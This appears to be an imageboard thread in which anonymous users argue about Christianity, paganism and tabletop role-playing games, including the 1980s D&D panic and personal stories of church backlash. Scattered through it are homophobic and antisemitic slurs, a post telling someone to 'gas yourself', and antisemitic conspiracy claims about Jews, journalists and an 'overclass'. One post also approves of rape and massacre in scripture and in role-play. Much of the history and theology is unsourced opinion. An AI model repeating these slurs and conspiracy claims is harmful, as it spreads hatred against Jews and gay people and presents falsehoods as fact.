>hear news about christian uprising

>have an idea

>call a crusade against muslims, with no pay (lol)

>the christians show up ready for the crusade

>send them on a suicide mission through a chokepoint

>they die

>go to sleep delighted, knowing that gigaschekelberg's plans are now safe

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 No.342582

>>342545

>the way to calculate the date of feasts is (salvific) doctrine

mem lad

>>342534

At the level you're at, even /christian/ would be of help to dissipate a few of the misunderstandings you have

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 No.342586

File: d33b86f39f9030b⋯.jpg (229.04 KB,1920x1180,96:59,nun.jpg)

I haven't really noticed it much, but I haven't been played anything seriously for the past three years. In high school my little group would run a DnD session with a few others in drama class, and one girl who came from an extremely conservative Christian family refused to take part. She couldn't read or watch Harry Potter, or Star Wars, or Lord of the Rings, so the idea that she could actually practice witchcraft probably freaked her the fuck out.

Up until I quit I ran into the opposite issue, though. One of my GMs, a complete fedora tipping faggot, always shat on the Christianity equivalent in our homebrew setting.

I got the last laugh though, when my nun turned Paladin and Deus Vulted across the land, turning it into a heavily religious superstate

Fuck you Francis.

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 No.342724

>>328243

>Simonianism

Reminds me of an infamous schizo on /pol/ and other boards like that who thinks he died a bunch of times, has magical powers and the usual schizo stuff.

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 No.342735

File: 4c3287fa0762841⋯.png (211.96 KB,672x2552,84:319,goebbels_morality_and_mora….png)

>>338904

now gas yourself, leftycringe faggot

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 No.342736

>>342579

The word is 'heretic,' you ninny.

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 No.342748

>>342724

Given that Simon tried to buy the title of Apostle (rather than claiming that it was his by right) I'd say he was more of a con-man who got in too deep than a lunatic who actually believed what he was saying

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 No.342767

>>342586

> She couldn't read or watch Harry Potter, or Star Wars

That's good upbringing. These are fucking pozzfests. the original trilogy can be good under parent supervision

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 No.342770

File: 013ac66fd3effa5⋯.gif (2.3 MB,400x225,16:9,laughing retarded dragons.gif)

>>342544

>worships trees during his God's birthday

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 No.342801

File: 0726b99bbda2c52⋯.jpg (365.04 KB,612x788,153:197,a7c52a4212b07c8f3c7908ac7a….jpg)

File: d551f7b70306893⋯.jpg (14.54 KB,196x257,196:257,index.jpg)

I hid this under a plastic bookshelf like it was porn so my mom wouldn't find it. But later on I asked for Twilight:2000 for my birthday and when she asked the guy at the game store if it was satanic, he did a really good job telling her it would help me learn history and geography. It did. And I was the only 12 year-old who knew what APFSDS-U meant.

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 No.342813

>>342767

I disagree, nothing in Harry Potter or Star Wars this is before the new shit, mind is so pozzed that it's directly harmful to a child. You shouldn't stifle a kid's interests like that, it only makes them act out. You know what happened when she wasn't allowed to read the books until she graduated and moved out? Became a fucking massive autismo about all the shit she wasn't allowed to see as a kid.

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 No.342816

>>342534

>God is a man robed in white, sitting on a golden throne in an Elysium field of fluffy white clouds, closed in by pearly white gates, no?

What the heckarino anon, it's not like the prophetic visions of the enthroned God are hard to find.

>Hell is a place of fire and brimstone, where the dead are given punishments according to their deeds in life, no?

Sure, prove to me that's pagan.

>A dark man with a long poll ferries you across the waters, no?

No there's no Charon analog or an Acheron. Seriously, this is all laid out in the bible, have you even read it?

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 No.342821

File: 0e740b18572b2c3⋯.webm (600.15 KB,480x360,4:3,let me laugh even harder.webm)

>>342770

>He thinks he has the faintest idea what he's talking about.

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 No.342823

File: b6aaa836b3f63b8⋯.jpg (55.45 KB,740x416,185:104,hahahahahaha.jpg)

>>342534

> A dark man with a long poll ferries you across the waters, no?

>he, he actually thinks Dante's Inferno is biblical canon

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 No.342824

YouTube embed. Click thumbnail to play.

>>342545

>Christmas and Easter

Dank meme

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 No.342834

>>342824

>Easter doesn't come from Eostre.

>It comes from Eosturmonath

>It comes from Eostre's month

>It comes from Eostre

This is absolutely retarded.

Next he'll say Yule doesn't come from the Yulefather (Odin) or from the Yule ones (the Germanic gods) but from the month Yule.

Stopped listening there, this cuck is just too desperate to turn European holidays into kike blood sacrifices.

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 No.342858

>>342816

>Praying to a saint for favor from god is hardly different from praying to a god for good favor from the fates.

A saint is a model of life, not an object of worship. People that pray to saints are heretics.

>God is a man robed in white, sitting on a golden throne in an Elysium field of fluffy white clouds, closed in by pearly white gates, no?

No, God looks like everything that ever was and ever will be, even things that don't exist. Giving God a phisical form is heresy.

>Hell is a place of fire and brimstone, where the dead are given punishments according to their deeds in life, no?

Hell is a state of being, in absence of God

>A dark man with a long poll ferries you across the waters, no?

No, Dante Aligieri is not considered theology.

What the church does and what people think the church does are two different things.

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 No.342859

>>342834

In english the celebration adopted a pagan name because it was easier to pronounce.

Easter's real name is "pascua" which is a latin vulgata for pascha, which is latin for paskha, which is greek for paskha, which is abrahamic for pesakh, which is hebrew for "passover".

Easter is celebrated by both jews and christians but it has different meanings, while the christian easter celebrates the passing of Jesus Christ into divinity the jews celebrate the first step outside of Egypt.

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 No.342860

>>342859

>the passing of Jesus Christ into divinity

MODS

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 No.342861

>>342860

What do you call "rising from the dead and ascending to the heavens" then?

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 No.342866

>>342859

>passing of Jesus Christ into divinity

Heretics will burn in Hell.

Christ can not become divine, He is God.

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 No.342875

File: e863280b78f4117⋯.webm (464.99 KB,480x360,4:3,What the fuck is that.webm)

>>342861

>Easter

>The day when the guy who already and always was God, became God.

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 No.342885

>>342861

Pentecost?

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 No.342888

>>342861

Are you perchance a jw?

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 No.342896

>>342861

Something that doesn't imply Christ wasn't divine during the earthly ministry.

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 No.342934

About half my playgroup are conservative christian, one of whom posts bible quotes on facebook daily. Nobody gives half a fuck and we all have a grand old time anyway. One of the players is even playing a literal hellhound who does some seriously demonic shenanigans, one of the other PCs is in a lesbian relationship. Still no fucks given and we all have fun.

Granted I'm a little late to the party, got into /tg/ stuff in like 2010 or so, but if there are Christians out there taking issue with D&D I've yet to come across them

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 No.353107

I'm a Christian who plays (or at least used to when I had friends who were into it) D&D, as well as lots of video-games, did LARP, all that good nerdery.

There are Christians, and I am increasingly finding myself among their number, who believe that saying and doing certain things can make people vulernable. The basic idea is that devils, demons or angels are all very 'legalistic' - in the sense that they are only permitted to do whatever they do with permission, or that they have to perform some ritual to gain access, or whatever. So when you are making a fantastical speech about communing with the spirits or opening yourself up to the elements, opening the door so a vampire can pass through - or even masturbating to porn; you're giving the devils justification to enter your life and harass you in that form. It's not strictly possession (although it can be), but just that certain actions allow them to harass us.

A simplified idea is:

If you give in to your anger and start swearing, a demon of wrath would feel entitled to harass you where previously he was unable. The real life consequence is that your initially rather small amount of anger then grows as the demon pokes, prods and whispers to you - subconsciously fueling your rage and making your small outburst become a tantrum or a fight. Now obviously you can say that is just the natural result of letting yourself getting carried away when angry, that it has nothing to do with devils; but I'm not so sure, and there are many Christians who are not so sure.

I used to also think that intention has to be a large part of what we do for it to be used for evil; yet study of the Bible, and even real life - has left me believing that the opposite is true. I'm fairly convinced that the Jews try and make normal people do all sorts of perverse rituals to open themselves up and become vulnerable to all manner of vile spirits. It is even written that the devil masquerades as an angel of light - so it should be any surprise that he'd try to make us think we were doing something good or harmless, when in reality we are doing some diabolical?

… With all that said I do not think Dungeons of Dragons, or any role-playing game; is inherently Satanic. There are perhaps certain writers and artists in the genre who are, but there are many who are not - and you are not worshiping the devil or any such thing when you play these games. My main concern about D&D would be the same concern I have for almost every aspect of our lives; when we eat when we are not hungry, we invite in spirits of gluttony. When we stay in bed when we are not tired; sloth. I am increasingly of the opinion that many of our acts open us up to harassment by devils, who due to their legalistic ways can only attack us if we allow them an opening. It should be noted that if I'm right, that most people are constantly opening themselves up to all sorts of different spirits, and that everyone does this and will no doubt continue to do it to varying extents throughout their life. I guess it comes down to; when you are aware that specific things invite devils into your life, is it right to still purposefully do them? To that I'd say no; and thus I'd probably be against certain scenarios in role-playing, but in the same way I'm against all sorts of things like giving in to one's anger, or lust, or greed, or whatever. So it's not really specific to D&D.

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 No.353116

>>353107

…are you a Donatist or something?

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 No.353123

>>353107

>There are Christians, and I am increasingly finding myself among their number, who believe that saying and doing certain things can make people vulernable.

You mean meme magic.

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 No.353126

File: bb830d0ddb97245⋯.jpg (22.09 KB,300x213,100:71,Your lol and saviour.jpg)

>>353123

>Photo of Jesus, 1st century AD Judea - colorised.

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 No.353127

File: b7ea2f9039752a5⋯.webm (691.86 KB,288x224,9:7,WHY.webm)

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 No.353137

>>353127

I don't understand the question.

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 No.353391

>>322596

>what is a pescetarian

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 No.353442

>>353107

So of what you're describing has shown up in a lot of other philosophies and beliefs. Not necessarily the parts about conjuring Angels and Demons into your body, but more specifically the act of speaking things into reality. This shows up on both positive and negative contexts. Speaking your desires to help make them manifest, as well as not speaking ill of others, lest you invite tragedy upon them… and since we're talking about religion: Prayer.

Some new age movements and even offer similar ideas in believing that you can visualize, conceptualize, and verbalize your desires strongly enough to make them reality. And yes.. even meme magic draws on that concept.

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 No.353460

>>353391

A hypocrite?

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 No.353476

>>353391

faggots

>>353460

OK, hypocritical faggots.

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 No.354144

>>322747

I think my dad had a chainsaw like that…might be the stripes

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 No.354145

>>322419

After seeing /tg/'s magical realm I can understand the "satanic panic"

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 No.354154

>>354144

But does he have an Exterminator class flamethrower built into the handguard?

>>354145

heheheheheheh, if most normies found out about the 90% of the internet that isn't Facebook they'd be demanding airstrikes on the evil nation of 'inter-net'.

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 No.359484

>>354154

Nah, either they'd aggressively continue ignoring it, or they'd leave the Internet entirely. Remember the Internet Hate Machine silliness?

On-topic, does Voodoo count as heresy?

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 No.359486

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 No.359549

File: eacc4899c9bc248⋯.jpg (10.91 KB,253x199,253:199,eacc4899c9bc248ebfbfe0e408….jpg)

>>359484

>does Voodoo count as heresy?

Anon…

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 No.359557

>>359484

>does Voodoo count as heresy?

It's arguably its own faith, so practising it whilst also being a member of another faith would be heretical gods don't like it when you two time them. Most ancient religions have a line or two condemning witchcraft as well, so you'd be a sinner as well as a heretic.

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 No.359624

File: e4ee784f5229df7⋯.jpg (296.42 KB,680x1156,10:17,7cae61c951a2746eef8679d0a1….jpg)

>>359557

>gods

Somebody needs to add a layer to this

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 No.363872

>>322420

You don't need to lurk /fringe/ for years like me to find some intricate connections between Lovecraftian mythos and Christianity. In fact, once you find his sources it's pretty clear.

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 No.363874

>>340854

>concept is fault for people believing or misbelieving

The absolute state of agnostics.

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 No.363989

File: e077895953b1b6e⋯.jpg (4.59 MB,4112x3065,4112:3065,Tauroctony.jpg)

>>322831

>the concept of good and evil is uniquely christian

>i dont like it because its boring who cares if even jungle savages from new guinea have a rough understanding of it

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 No.363995

>>359624

>You shall not bow down to them or worship them; for I, the LORD your God, am a jealous God, punishing the children for the sin of the parents to the third and fourth generation of those who hate me,

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 No.363996

File: 918d7c7b2d493c9⋯.jpg (104.79 KB,750x700,15:14,12564577afa959c4224dc4bedf….jpg)

I prefer the Jungian approach to good/evil and God. A kind of trinity

Plethora personified as the demiurge is everything. All of it. The whole of existence and nonexistence. It's pretty pointless to talk about it, because it is always talked about obliquely when referring to anything else.

The great devil is void, decay, undistinguished. Entropy incarnate, and everything that is easily said to be mundane. Generic. Pointless. Imperfection.

The good god Helios has one defining feature, Distinction. The height of noon, a defining moment of a play, the birth of a child, the first bite of a great apple pie, the martyrizing of a holy man, those things that are unique and indescribable that transcend the moment. That is God manifest, the Word and all that.

In a way it's closer to Shintoism than Christianity, in that it's less good and evil and more purity and impurity. In another way it's like Eastern Orthodox than mainline, closer to worship of Logos than scripture, in that truth may be found in the living community as well as the bible.

'The Light' vs 'the dark' in any story is a good example of this line of thinking in action. Story writers backtracking on dogma so hard they end with bare archetypal meme dna.

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 No.364011

>>363995

That's referring to idols.

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 No.364150

>>322420

Wasn't gygax a JW?

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 No.364154

>>333255

No, that's a story about wandering Jew, you mixed it up

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 No.364161

With the rise of internet atheism, I find myself sympathizing with Christians. Any animus they have with awrpees is their own opinion misguided by alarmist media.

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 No.364167

>>363989

Is a scorpion biting that bull's balls?

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 No.364172

Arius is Matt ward of Christianity

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 No.364183

File: 910c5b8826cbcb1⋯.png (90.46 KB,1022x1024,511:512,5.png)

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 No.364372

>>364011

>Exodus 20: 2-4

I am the LORD your God, who brought you out of the land of Egypt, out of the house of slavery. You shall have no other gods before Me. You shall not make for yourself an idol, or any likeness of what is in heaven above or on the earth beneath or in the water under the earth.

Idols are certainly involved, but I wouldn't say it's about them.

>>364167

It's certainly some big bastard with an articulated exoskeleton, and it does seem to be biting the bulls bollocks.

>>364172

Would that make the Roman Empire GW in this analogy?

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 No.364412

>>364183

Oh no, if that's who I think it is, that's not even in the same postal code as bait. He's a heretic, possibly, but not a baiter.

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 No.364441

>>363989

To be fair pre-Greek philosophy the concept of "evil" was "whatever I don't like".

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 No.364453

Yeah I can add a "war story" from that time.

When I was in high school (looong time ago) I worked at a bookstore that specialized in gaming books. Small place really, nothing more than a few book shelves, a counter, and table space…couple display cases for miniatures, mostly Battletech. I was part time, mostly I restocked the fridge with hot-pockets and stuff, occasionally ran the register when the owner was too busy playing. I got a key so I could open early or close later on the weekends than Bill, the owner of the place, was willing to.

One day, a Saturday, we made a supply run to a wholesaler (BJ's I think) to stock up on munchies and soda. Saturday was always our busiest day/night. When we arrived at the parking lot there were a whole bunch of people, dressed nicely, milling about near the stairs that led up to the entrance of the place. Parking lot is full of their cars too. I'm thinking "wth, it's never this busy, even on Saturday".

I had no idea who these people were at first, I thought they were customers, but Bill knew what was up right away. He handed me his pack of smokes (I smoked too), and told me to stay in the car until he waved me in, so I knew he was going to be a while. Bill, btw, notoriously stingy about lending out his smokes.

Bill goes up to the crowd and talks to the group of people. He stands out like a sore thumb because while these people are dressed to the nines he's over there in sweat pants, a nicotine stained t-shirt, and a pair of worn out tennis shoes. We're parked too far away for me to hear any of the conversation so I just watch Bill shmooze his way through the group, shaking hands, smiling, laughing at jokes but I've known the guy for years, the way he's smiling is his "salesman face" and his laughing looks forced.

It takes a good half hour before the crowd starts to get and the crowd is looking restless, bored. Finally one guy raises his hands up and says something to the crowd, there's a murmur of agreement and everybody bows their head, obviously in prayer. Bill bows his head and shuts his eyes too.

Now I know why the owner had me stay in the car; at the time I was a confrontational little shit and never more so then when it came to religion. It was the 90's so the whole fedora-wearing atheist trope wasn't a trope yet but, back then, I would've qualified sans fedora.

After the praying is over Bill strides up the stairs, opens the door to the store, says something I can't make out and gestures everyone in. Big ol' smile on his face. There's a look on everyone's face of surprise and confusion and they all start walking away grumbling, get into their cars and leave.

After they've all left the owner waves me in and I start porting the cases of now piss-warm soda into the store and I get to ask "what the hell was all that about?"

"Holy rollers". It's an explanation that everyone who was into PnP at the time knew right away. These fundy Christian cunts who were more hopped up on Jerry Falwell than Jesus Christ.

So I go back, fetch more stock for the store, hand the owner back his smokes that I "forgot" to give back right away and asked "So how'd you get rid of them?"

"Well, the preacher said that the store was a place where idolatry was being practiced and people were being led astray from God. They were here to show us a better way, apparently."

"Once it became clear to them that waiting around for people to save was going to take a good long time, they settled on saying a prayer for the souls of all the people who frequent the store."

"I joined. of course, and after we said 'amen' I went up the stairs, unlocked the door, and welcomed them in. It was, after all the Christian thing to do."

Fast forward a few months later. Bill's antics didn't win him any friends at City Hall, and preacher-man didn't much like being publicly taught a lesson on how to be a a good Christian in front of his congregation and suddenly the store finds itself getting a health inspection. Things ended badly for the store. Town Hall cooked up some bullshit about not having the correct facilities to sell food (snacks mind you). No dual-sink, or food preparation area…all we sold there were microwavable treats, chips, and soda. The store wasn't exactly a cash-cow or anything so selling over-priced soda and microwaved snacks was the store's way of

staying solvent. Sans that, the owner had to close up shop and did.

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 No.364456

>>364453

Sorry about the tl;dr. Still it's 100% true and, no, it didn't happen in Redneck-istan either.

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 No.364458

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 No.367611

>>364372

>Would that make the Roman Empire GW in this analogy?

Nah, Emps did well and council denounced Arius, unlike GW with our spiritual liege.

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 No.369709

>>327146

>>327148

I'd also like to know

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 No.369944

>>323438

>belligerantly anti-jesus pagans

Really stupid of them to do that considering how intertwined Christianity and native paganism became during the conversion period

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 No.369992

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>>322560

It's a very simple thing, people are awful beings on the inside that includes us as well and when parents fuck up, they don't want to admit their mistakes and instead want to see a scapegoat so it's never their fault.

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 No.369993

File: 0275717f728fb7f⋯.jpg (46.75 KB,1033x679,1033:679,0275717f728fb7f77e1c0f9198….jpg)

>>323446

Finally something I can get behind.

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 No.370004

>>369944

Eh, that was only true in a relatively short span of time(600-800) in very specific areas of europe (parts of germany and russia).

Overall, the conversion periods were quite heated and bloody through most of europe, as can be noted by the writings of pophyry, the lithuanian conflict against the teutonic knights and the whole "conversion by sword" period of christianity (late 300s-600s)

There have been quite a few incidents of pagans fighting back against christians through the early middle ages, like in britain, balkans,greece and even in my home country of portugal.

Heck, the romuvans actively fought off christians for over 500 years.

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 No.370005

File: ac85191ffdb6403⋯.jpg (1.13 MB,1764x1908,49:53,Väinämöisen_lähto.jpg)

>>370004

Some might say the Finns never converted, but merely bide their time. The Gondola may be the first stirrings of Väinämöinen's return.

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 No.370125

File: a99ad13353f90e9⋯.png (17.73 KB,780x646,390:323,53a09276d498e08256c7936c24….png)

File: 80522e448bb3873⋯.png (47.94 KB,1267x305,1267:305,Wiccans.PNG)

>>370004

True, but I've realised that poster may have meant the LARPers who only become 'pagan' only because it isn't Christian

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 No.370141

File: 7bd162a4f3478bc⋯.jpg (162.53 KB,750x587,750:587,678b5991f379fc36ef6438c4ee….jpg)

>>370125

>typical christian religious traits like universalism and monism

please be shitting me

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 No.370144

>>370141

Not him,

Might not be typical, but all this 'liberal' and 'pagan bullshit is derived from the same tree as christian sentiments. The branch may be rotten and grafted to a gnarled oak stump, but it is of the same origin.

The very idea that all men are equal is born from Christian philosophers. Before that it was a mostly unobserved truth that kings were ruling by divine right. The line is direct, however twisted it may be.

It's as Christian as Mormonism.

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 No.370184

>>370141

Please educate me anon

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 No.370211

>>370184

Neither of those have anything to do with Christianity, that poster had no idea what he was talking about

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 No.370220

>>370144

>Might not be typical, but all this 'liberal' and 'pagan bullshit is derived from the same tree as christian sentiments.

You don't blame the cow if you let the milk spoil, you blame the guy who left the milk out. There's a very clear line of descent from the cows udder to the wasted milk but it was neither the cow, nor necessarily the man who milked the cow who failed to properly store the product.

I don't agree that Christianity is the origin of it in any case as what we observe in what we can safely call late or post-christian civilization in the west is exactly the same kinds of behaviors we observe in late stages of all civilizations, a lack of concern for moral virtue, the degradation of spiritual habit and ritual, a lack of confidence in the civilizations foundation myths and a rejection of the "god(s) of our fathers". All great civilizations are defined, not by their territory or the race that built them but by their religions, the golden age of India coincides with the heights of the Vedic religion, the several Persian empires blossom during periods when Zoroastrianism (and later Islam) are important social and political forces. Even humble Tibet once possessed a powerful empire of it's own which grew and expanded directly after it's kings converted to Buddhism.

Civilization requires that its citizens have belief in a metaphysical truth greater than themselves to motivate them to both social cohesion and to cause them to bow their knees, in their hearts to the cause and service of a single master. When the political state attempts to take the role of religion in civilization (as communism did in Russia and China and as we saw radicalize under the Japanese Empire with the renewed veneration of the Emperor as a truly divine ruler in the late 19th and early 20th centuries) it leads to successful empires but incredibly cruel ones, as to be expected when the perfect law of Heaven (in what ever religion) become defined by the factious whims of men.

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 No.370228

>>370144

>The very idea that all men are equal is born from Christian philosophers.

Not unequivocally. All men are equal before God but on Earth everyone is born into different circumstances and positions. That was the medieval belief at least. On Earth there cannot be perfect equality because the Earth is temporal and thus by nature imperfect.

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 No.370230

>>370211

Well he seems to have gotten the rest right

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 No.380838

>>333253

>I'm fairly sure that it was at least part of Christian tradition that Pilate was condemned to hell after ordering the execution of Christ

Church generally never condemned anyone to hell, even Judas. Church may state who is a saint, but cannot state who is the damned.

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 No.380840

Well, I'm a catholic RPG player, GM of a single group for years and years, most of people I play with are atheists or agnostic and other roleplayers I've met are rarely christian.

I've found resentment rarely, but it mostly comes from groups of people who identify themselves as pagans, and you can see in some RPGs that writers still hold a grudge over their moms burning their D&D box (Robert Schwalb, and most blatantly, Eric Bloat).

But the experience has been pretty chill, no religious confrontations, just getting together and playing; it's not like in video gaming where American Devs like to go by the "christianity is evil" route and having pseudo-atheist 14 year old dudebros everywhere.

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 No.380842

>>322575

Aren't gargoyles basically that in Christian myth?

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 No.380851

YouTube embed. Click thumbnail to play.

>>380842

This is what gargoyles are

This is an old thread

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 No.381575

>>322419

When you do research on the anti-D&D panic. Evangelical groups only got involved very late. Majority anti-D&D Rhetoric before jack chick were from journalists

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 No.382100

>>381575

>jack chick

Wasnt he basically proto-Steven Anderson that """converted""" by listening to the radio show?

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 No.382124

File: 238a49dea3c3626⋯.jpg (492.63 KB,1539x1025,1539:1025,238a49dea3c3626cf132a24315….jpg)

>>381575

Where they jewish journalists?

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 No.382136

>>382124

>Where they jewish journalists?

Most journalists are jewish. But that’s pure coincidence.

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 No.382874

File: 45341562a9c94c1⋯.jpg (51.34 KB,391x500,391:500,5755952.jpg)

Oi gitz, some 'umie gave me and da boyz dis fing.

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 No.382877

In the mid-80s, for Secret Santa at my church, the organist gave me a Dragonlance module. I'm sure there were some shitty religious people fucking with kids over D&D, but a lot of the people I saw getting negative attention from churches where kids who were already having some major problems of the cat torture variety. So, D&D was a scapegoat for some deeper problems. Kids who weren't fuckups were treated more reasonably.

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 No.382999

>>370005

Finland was mostly converted before the Norse Crusades. But it was mostly by Russians, so Scandinavians launched crusades to prevent growing Russian(Novgorodian)/Orthodox influence

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 No.383000

>>370211

>Neither of those have anything to do with Christianity

Not Monism, but universalism in both senses fit.

Universalism as Universal religion? Yes, Christianity is universal religion and Jesus said to "Preach the Gospel to every creature"

Universalism as in "apokatastasis", it has also been present in Christian thought throughout ages, though other faiths have something like that too.

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 No.383712

>>322419

> how much resentment of Christianity/Conservatism is still in the RPG community?

Everyone is still too stupid to discern obvious false flags. Like, asking "did you hear about Jack Chick/sturmfruit/... from watermelons/pussyhats/... or from neo-reactionaries?" or "which one of 4ch and 8ch do the salon,com types screech about, and which one avoid naming?", and so on.

So don't worry, go straight ahead. There's no way you will be tarred and feathered, then fed to dire frogs. 8()

>>322560

> Have you been around when the media said Harry Potter will lead kids to the devil?

IOW, an obvious socialist promoting herself for the edgy retards via equally obvious provo4?

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 No.383776

>>382136

> But that’s pure coincidence.

Too much of a coincidence.

>> People notice the overclass hates whites. So they figure.

< Well, people who think of themselves as white cannot possibly hate whites, so it must be Jews, who don’t consider themselves white, hating us.

>> Wrong.

>> The overclass hates whites because it is almost entirely white. It hates Jews because it is disproportionately Jewish. It hates males, marriage, and so on and so forth for much the same reasons.

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 No.383779

>>364150

What the hell?

The info about his religous beliefs got memory-holed from the wikipedia article.

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 No.383781

Looks like it was removed by someone called Guinness323.

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 No.384279

>>383779

Predictable, aren't they?

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 No.384382

>>359557

>gods don't like it when you two time them

Not entirely true, if they're a patron god then sure

>>370220

This, any civilisation worth it's salt has been devout, the Romans come to mind as well

>>364372

This, the entire point of that law was to prevent the Israelites from mixing with the Canaanites

>>364441

Polytheism, or more specifically European polytheism is more about order vs chaos

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 No.385262

File: 799232c192ed358⋯.jpg (12.58 KB,190x270,19:27,7087_10206500360457144_705….jpg)

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>>353107

>There are Christians,

>who believe that saying and doing certain things

>allow them to harass us

As a Christian I'd say that's overly cautious thinking of your friends.

People in the new age and in Free masonic circles use lucid dreaming and strong substances to mediate with demons.

God has made it difficult for his childeren to mediate with Demons.

When I role play a warlock and quoting his profanity I'm working as much iniquity as

when I steal a metaphysical gold piece off another player character.

>against certain scenarios in role-playing

Our spiritual-Israelite predecessors did rape pagan women and murdered pagan childeren.

YHWH Sebaot asked of our spiritual predecessors to go out and kill every last Cananite man, woman and child.

When Nebuchadnezza threatened the three Israelites with being thrown into the furnace for not worshiping him, God didn't discourage them from dying that day.

You might not be thrown to the lions by your prime-minister tomorrow but YHWH expects us Christians to not be self-coddling and squeamish.

I have 1 d&d group in my area, and they're all liberal a-moral atheists.

I can't role play an Ogre because the second my metaphysical Ogre begins raping another metaphysical NPC my atheist a-moral lib friends start losing their shit.

And my friends are the same people who see no issue in coveting, petty theft, worshiping the world, you name it.

Being against certain role-playing scenarios doesn't make you a better christian. It perpetuates your own self-coddling and squeamishness.

It encourages the people around you to be cowards.

If your DM is running a scenario you're comfortable with you d&d character is also appeased.

But as soon as the DM is running a scenario you're not comfortable with you're unable to role-play out your discomfort through your character.

While on the other side of the planet, Christians are being hauled behind trucks, and skinned alive, and burned alive by Wahhabies.

If you're tempted to disrespect the GM because he ruffled your feathers then you're one those squeamish bitches that chose Nebuchadnezzar's golden statue over being tossed into a blazing furnace. Like you even had a clue of how coddled you were before you read this here repost.

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 No.385273

>>385262

>YHWH Sebaot

Why are you speaking hebrew and finnish?

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 No.385287

>>385262

>Unironically thinking that Israelites raped pagans.

>Seriously using "YHWH"

Are you one of the American pr*testants who interpret bible as they want?

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 No.385289

>>382124

It's right for the Vidya, but RPG got heavy does of attack from Jack chick and retards like him. It's actually saddening and disappointing that cretin false prophets like Chick (Asides the whole "DD is Satan" screeching, he was a typical American McChurch pastor that sent to hell everyone that disagreed with his one® true™ interpretation of the Bible) actually had influence on the society. Which in turn caused some people in early RP community to actually resent Christianity. pr*testants were a mistake. Or more precisely, American pr*testants were a mistake.

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 No.385322

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>>338807

>He is a heretic, no wonder he tells bullshit lies to get views.

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 No.385326

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 No.385473

I played DnD from when I was 13 to when I was 16 or so. At 16 I made the mistake of inviting people from my church youth group to join a game I was DMing. Instead of creating characters, and trying the game out, these youth group members immediately went and told the adults about this weird kid practicing witchcraft.

They had me bring in my sourcebooks and I thought they were interested in finding out about them. This wasn't true, they were concerned for me and wouldn't let me take the books home again, and it wasn't until I was 18 (and found sourcebooks online as pdfs) that I started running Dungeons and Dragons again. I'm 30 now and still run D&D

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 No.385478

>only being able to get those sweet demonic MtG cards in the PC game

>outrage from Doom to Diablo to GTA Hot Coffee

>passionate debates about Harry Potter in older generations about witchcraft and the occult

>goth fad kicked off teenagers brandishing tarot cards, literally finding perverse joy in how it is unchristian

did talk LotR and Narnia with other Christians, considering their underlying themes

<so no one really cared about tabletop D&D apart from kids with older siblings that had the sourcebooks

>>322634

Sums up why.

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 No.385525

>>322419

I don't think anyone actually gave a shit other than the various US protestant churches. It's not like kids don't watch much worse shit on TV

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 No.385634

>>322828

PAMcakes, please

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 No.385728

>>322634

>Still fucking blows my mind.

Why?

The christian churches had a centuries old crusade against "trivial literature" at this point, which started with the Christian revival in the 18th century and was their way of taking part in modern politics, by trying to be the voice of reason and morality.

The claim of this movement was that "trivial literature" leads to sinful behavior, because it only exist for entertainment/hedonistic purposes and doesn't make us better humans by teaching or informing us of something that has actual value in life.

You claim there was no alcohol, sex and drugs involved, but the majority of Fantasy works at the time before and after D&D actually fulfill most of the criteria this movement had problems with.

First is the artwork, the whole half naked noble savage barbarian archetype(Conan etc.) you find fantasy has its origin in a 19th century academic movement that favored naturalism, had a new age esoteric world view and all that nakedness was their way of rebelling against the dress code of that time.

Then you have these naked Heroes battle monster and demons, but they don't do this in the name of Jesus Christ but in the name of Pagan Gods, in some settings thanks to the laziness of the GM its directly Gods taken from Earth Antiquity.

While on Adventures, these heroes use magic and drink "potions" to solve their problems and get stronger and after they are done, they go to the "Tavern" to drink and gamble their fortune away.

Now I am sure I don’t have to explain how the magic&potions would look to them, but the Tavern part is also really big. Normal women being allowed at bars is a social development of the 1960 in most countries, before that they would be brutally assaulted by the prostitutes that did their job at these places. By the time D&D came out, it had only been 20 years after the bar scene had been more or less sanitized. Alcohol and gambling had been huge social issues this movement had fought against and not a few of them were supporters of the prohibition.

But if it wasn’t enough, this whole package of teaching immorality is bound together with fucking math.

You may think math of something boring, conformist and pious, but in the majority of religions it has been a topic of hot debate, with Great Schisms existing that treat math as a form of magic, just look at Numerology.

All in all its not difficult to understand how there could be people that took Roleplaying for something more nefarious than it actually was.

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 No.385780

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>>322634

>your kid is a total introvert

>doesn't go to parties or do anything fun, just stays at home reading books and playing computer games

>pretty sure he's getting bullied at school because of this

>hoped he'd grow out of it, but he's in his late teens and still doesn't have a gf

>he's getting kinda fat, too

>lately started hanging out with kids that are just as introverted as he is

>pretty sure they're enabling him

>they meet in the fucking basement while eating unhealthy food and discussing spells and devils

>realise your kid is running away from his problems into a fantasy world, possibly to some sort of cult

>fucking Jonestown still in fresh memory

>realise your kid will kill himself in ritual suicide soon unless you put a stop to this

>go deus vult on the basement cult

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 No.386313

>>385780

>be a worthless boomer faggot

>kid is a total introvert

>spends all his time talking about spells and playing computer games

>his friends are all the same way

>fail to realize this is because of the shitty boomer feminism and boomer nerd hate your generation created making girls into thots and guys into dumbfucks who only understand sportsball

>blame nerd hobbies instead of the actual source of the problem, society

>create stupid moral panics that only result in more oppressive legal restrictions to "prevent people from getting hurt" so you can virtue signal to your boomer faggot friends

>ruin a generation in the process because le take a seat man on the kosher TV worked with roasties no man with any self-respect would want to limit your now-adult son's legal dating pool to said roasties

>blame D&D, video games, and rock music for your shitty parenting

>best case scenario, kid gets a job slaving away for some asshole in a suit while being careful not to sneeze near a woman lest he be charged with sneeze rape

>worst case scenario, kid becomes an autistic NEET

>in either case, kid now hates you with burning passion

>kid joins an internet cult that worships a cartoon frog

>frantically ask yourself "oh my god, how did all of this happen?"

Is there any generation worse than boomers?

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 No.386372

>>386313

Boomers didn't die by the millions to ensure this happened

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 No.386393

>>386313

>Is there any generation worse than boomers?

Yes. Underage newfaggots that post boomer-maymay wojaks.

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 No.386409

>>386393

Oh yeah. What have they destroyed?

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 No.386501

File: cf1aa154ce91a81⋯.jpg (42.73 KB,540x339,180:113,Edoras.jpg)

Reminder that Tolkein and C.S. Lewis were based Christians, and their works are likewise based.

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 No.386505

>>386409

Themselves.

The previous generation has always done some mistakes the next generation has to fix.

Our "generation" sees the failing of the boomers, they are a reaction of seeing the failures of the after WW2 generation, which itself saw the failing of the WW2 Generation and the WW2 generation saw the failing of the Weimar Generation, which itself saw the failings of the WW1 generation and the WW1 generation saw the failings of the Wilhelminism/Edwardian/ La Belle Époque era, which itself was a reaction of the Victorian period and so forth.

The point is that a generation doesn't have the time to wallow in their own filth and lamentation and has to remove the failings as early as possible or they continue to exist for the next generation.

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 No.386686

>>386505

